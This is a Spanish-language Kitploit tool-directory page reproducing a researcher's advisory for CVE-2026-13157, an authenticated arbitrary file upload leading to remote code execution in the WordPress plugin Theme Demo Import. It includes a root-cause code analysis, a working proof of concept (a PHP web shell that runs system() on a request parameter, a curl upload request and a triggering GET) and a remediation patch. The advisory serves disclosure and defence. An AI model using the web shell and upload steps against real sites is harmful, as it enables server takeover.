Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/minhhk68/cve-2026-13157
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónDesarrollo de Payloads
GitHubminhhk68/cve-2026-13157

CVE-2026-13157

Prueba de concepto y análisis de causa raíz para una carga arbitraria de archivos autenticada en WordPress Theme Demo Import que conduce a la ejecución remota de código mediante una webshell PHP.

Ver Repositorio
2hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

[CVE-2026-13157] Theme Demo Import <= 1.1.3 — Carga Arbitraria de Archivos y Ejecución Remota de Código

WPScan Verified Advisory CVSS 6.6 Medium Discovered by Huynh Kien Minh


📖 Descripción General del Aviso

CVE-2026-13157 es una vulnerabilidad autenticada de carga arbitraria de archivos que afecta al plugin de WordPress Theme Demo Import hasta la versión 1.1.3 inclusive, descubierta y analizada por el investigador de ciberseguridad Huynh Kien Minh (MinhHK). La vulnerabilidad reside en la rutina AJAX de importación de demos (TDI_import_demo_data), donde el plugin deshabilita explícitamente las pruebas estándar de verificación de tipo de archivo de WordPress () durante el procesamiento de la carga. Un usuario autenticado con capacidades de importación —como un administrador de sitio predeterminado o un administrador de sitio no superadministrador en una arquitectura WordPress Multisite— puede omitir la aplicación de restricciones de archivos para cargar scripts PHP ejecutables arbitrarios directamente en el directorio público , logrando una Ejecución Remota de Código (RCE) persistente y el compromiso total del servidor.

'test_type' => false
wp-content/uploads/

📌 Resumen Ejecutivo

ParámetroEspecificación Técnica
Identificador de VulnerabilidadCVE-2026-13157
Software AfectadoTheme Demo Import (Plugin de WordPress)
Slug del Plugintheme-demo-import
Versiones Afectadas<= 1.1.3
Clase de VulnerabilidadCarga sin restricciones de archivos con tipo peligroso (CWE-434 / OWASP A03)
Puntuación CVSS v3.16.6 (Media) (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H)
Descubridor / InvestigadorHuynh Kien Minh (MinhHK)
Autoridad de VerificaciónWPScan / Corporación MITRE
URL del Aviso de WPScanhttps://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/
Portafolio del Investigadorhttps://minhhk.web.app/

🔍 Causa Raíz y Análisis del Código

La causa raíz de CVE-2026-13157 reside en la arquitectura de manejo de carga de archivos implementada en inc/class-tdi-helpers.php. Durante las operaciones de importación de datos de demostración, el plugin gestiona los archivos adjuntos entrantes a través del endpoint AJAX registrado en inc/class-tdi-main.php en la Línea 55:

root@kitploit:~
// inc/class-tdi-main.php: Line 55
add_action( 'wp_ajax_TDI_import_demo_data', array( $this, 'import_demo_data_ajax_callback' ) );

Al procesar los archivos de configuración de demostración cargados (content_file, widget_file y customizer_file), el método de importación interno instruye directamente a la API wp_handle_upload() de WordPress para omitir las comprobaciones de validación de tipo MIME y de formulario de los archivos:

root@kitploit:~
// inc/class-tdi-helpers.php: Lines 495 - 506
// Upload settings to disable form and type testing for AJAX uploads.
$upload_overrides = array(
    'test_form' => false,
    'test_type' => false, // CRITICAL VULNERABILITY: Disables MIME and file extension verification!
);

// Handle demo content and widgets file upload.
$content_file_info    = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info     = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );

Al pasar 'test_type' => false a $upload_overrides, el desarrollador anuló el subsistema de verificación MIME del núcleo de WordPress (wp_check_filetype_and_ext()). Como consecuencia directa, la aplicación ya no restringe los archivos adjuntos a formatos seguros de datos de demostración (.xml, .json, .wie, .dat), lo que permite a cualquier usuario autenticado con acceso a la página de ajustes cargar scripts PHP ejecutables (.php, .phtml, .phar) directamente en la raíz pública del documento.


💻 Prueba de Concepto del Exploit (PoC)

Aviso de Investigación Ética: Esta prueba de concepto está documentada estrictamente para auditoría educativa, ingeniería defensiva y validación de seguridad autorizada. Se prohíbe la explotación no autorizada de sistemas en producción.

Requisitos Previos y Configuración

  • Sistema Objetivo: Instancia de WordPress que ejecute Theme Demo Import versión <= 1.1.3.
  • Requisito de Privilegio: Sesión autenticada con capacidades de import (Administrador / Administrador de Sitio Multisite).
  • Obtención del Nonce de Seguridad: Extrae el token de seguridad AJAX tdi-ajax-verification (expuesto en el DOM de la página como propiedad del objeto JavaScript tdi.ajax_nonce en /wp-admin/themes.php?page=theme-demo-import).

Ejecución de la Reproducción

  1. Crea un payload de web shell local titulado exploit_webshell.php:
root@kitploit:~
<?php 
if(isset($_REQUEST['cmd'])){
    system($_REQUEST['cmd']);
} else {
    echo "CVE-2026-13157 Exploitation Verified by Huynh Kien Minh!";
}
?>
  1. Ejecuta el payload autenticado de varias partes mediante cURL apuntando al despachador AJAX administrativo:
root@kitploit:~
curl -i -s -X POST "http://<TARGET_HOST>/wp-admin/admin-ajax.php" \
  -H "Cookie: wordpress_logged_in_xxxxxx=yyyyyy" \
  -F "action=TDI_import_demo_data" \
  -F "security=<RETRIEVED_TDI_AJAX_NONCE>" \
  -F "content_file=@exploit_webshell.php;type=application/x-php"
  1. El servidor responde con una confirmación JSON afirmativa de la carga. Accede al ejecutable cargado directamente dentro del directorio mensual designado para desencadenar la Ejecución Remota de Código:
root@kitploit:~
GET /wp-content/uploads/2026/08/exploit_webshell.php?cmd=whoami HTTP/1.1
Host: <TARGET_HOST>

💥 Modelado de Amenazas y Escenarios de Impacto Multisite

Mientras que las instalaciones de WordPress de un solo sitio otorgan a los Administradores estándar un control confiable sobre el entorno del servidor, CVE-2026-13157 introduce un colapso crítico de los límites de seguridad en implementaciones Enterprise y Multisite:

  1. Escalada de Privilegios en WordPress Multisite (RCE de Administrador de Sitio a Súper Administrador): En una arquitectura WordPress Multisite, los administradores de sitios individuales están deliberadamente restringidos por el diseño del núcleo para instalar plugins, editar temas o cargar extensiones de script inseguras (la capacidad unfiltered_upload está reservada únicamente para los Súper Administradores de la Red). CVE-2026-13157 destruye por completo este aislamiento multiinquilino, permitiendo que un administrador de sub-sitio no verificado coloque una web shell y ejecute comandos del sistema en toda la red de servidores.
  2. Omisión de Límites en Hosting Administrado de WordPress: Las plataformas de hosting seguro modernas restringen los permisos de modificación de archivos y deshabilitan las capacidades del editor de archivos (DISALLOW_FILE_EDIT). Esta vulnerabilidad elude las restricciones del hosting aprovechando el mecanismo nativo de transferencia de archivos del plugin para escribir código ejecutable arbitrario directamente en el almacenamiento de volumen escribible.

🛡️ Remediación y Arquitectura del Parche

Para resolver CVE-2026-13157 de forma segura, los mantenedores de software y los ingenieros defensivos deben restablecer inmediatamente la validación estricta del tipo MIME y la extensión de archivo dentro de la lógica de manejo de cargas en inc/class-tdi-helpers.php.

Reemplazo de Código Seguro

Elimina la anulación insegura 'test_type' => false y aplica una lista blanca rigurosa restringida estrictamente a las estructuras estándar de exportación de WordPress (text/xml, application/json):

root@kitploit:~
// Secure Remediation Patch for inc/class-tdi-helpers.php (Lines 495 - 510)
$upload_overrides = array(
    'test_form' => false,
    'test_type' => true, // Enforce strict core file-type verification
    'mimes'     => array(
        'xml'  => 'text/xml',
        'json' => 'application/json',
        'wie'  => 'application/json',
        'dat'  => 'text/plain',
    ),
);

// Perform capability check before handling upload
if ( ! current_user_can( 'import' ) ) {
    wp_send_json_error( array( 'message' => __( 'Insufficient privileges to perform import.', 'theme-demo-import' ) ), 403 );
}

// Proceed with validated file handling
$content_file_info    = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info     = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );

🏆 Acerca del Investigador

Huynh Kien Minh (MinhHK) es un investigador de seguridad de la información, desarrollador de software y analista de vulnerabilidades especializado en seguridad ofensiva de aplicaciones web, auditoría de arquitectura de aplicaciones PHP y vectores de explotación empresarial. Sus descubrimientos y avisos técnicos han sido reconocidos formalmente por las principales bases de datos globales de vulnerabilidades y autoridades de nomenclatura de seguridad de productos.

  • 🌐 Portafolio Oficial del Investigador: https://minhhk.web.app/
  • 🐙 Laboratorio de Seguridad y Repositorios PoC en GitHub: https://github.com/MinhHK68
  • 🛡️ Aviso de Seguridad Verificado por WPScan: Informe WPScan CVE-2026-13157

📊 Metadatos Estructurados (JSON-LD)

root@kitploit:~
{
  "@context": "https://schema.org",
  "@graph": [
    {
      "@type": "TechArticle",
      "@id": "https://github.com/MinhHK68/CVE-2026-13157#article",
      "headline": "CVE-2026-13157: Theme Demo Import Arbitrary File Upload & Remote Code Execution Advisory",
      "alternativeHeadline": "Technical Deep-Dive and Exploit Analysis for CVE-2026-13157 by Huynh Kien Minh",
      "author": {
        "@type": "Person",
        "name": "Huynh Kien Minh",
        "alternateName": "MinhHK",
        "url": "https://minhhk.web.app/"
      },
      "datePublished": "2026-08-01",
      "inLanguage": "en-US",
      "description": "Comprehensive security research advisory for CVE-2026-13157 affecting Theme Demo Import WordPress plugin prior to version 1.1.3. Analyzes arbitrary file upload vulnerability via disabled test_type check leading to Remote Code Execution.",
      "keywords": ["CVE-2026-13157", "Theme Demo Import", "Arbitrary File Upload", "Remote Code Execution", "RCE", "WordPress Security", "Huynh Kien Minh", "MinhHK", "WPScan"]
    },
    {
      "@type": "SecurityAdvisory",
      "@id": "https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/#advisory",
      "identifier": "CVE-2026-13157",
      "name": "Theme Demo Import <= 1.1.3 - Admin+ Arbitrary File Upload",
      "category": "Arbitrary File Upload / RCE",
      "cvssScore": "6.6",
      "severity": "Medium",
      "softwareVersion": "<= 1.1.3",
      "url": "https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/"
    }
  ]
}
Descargar herramienta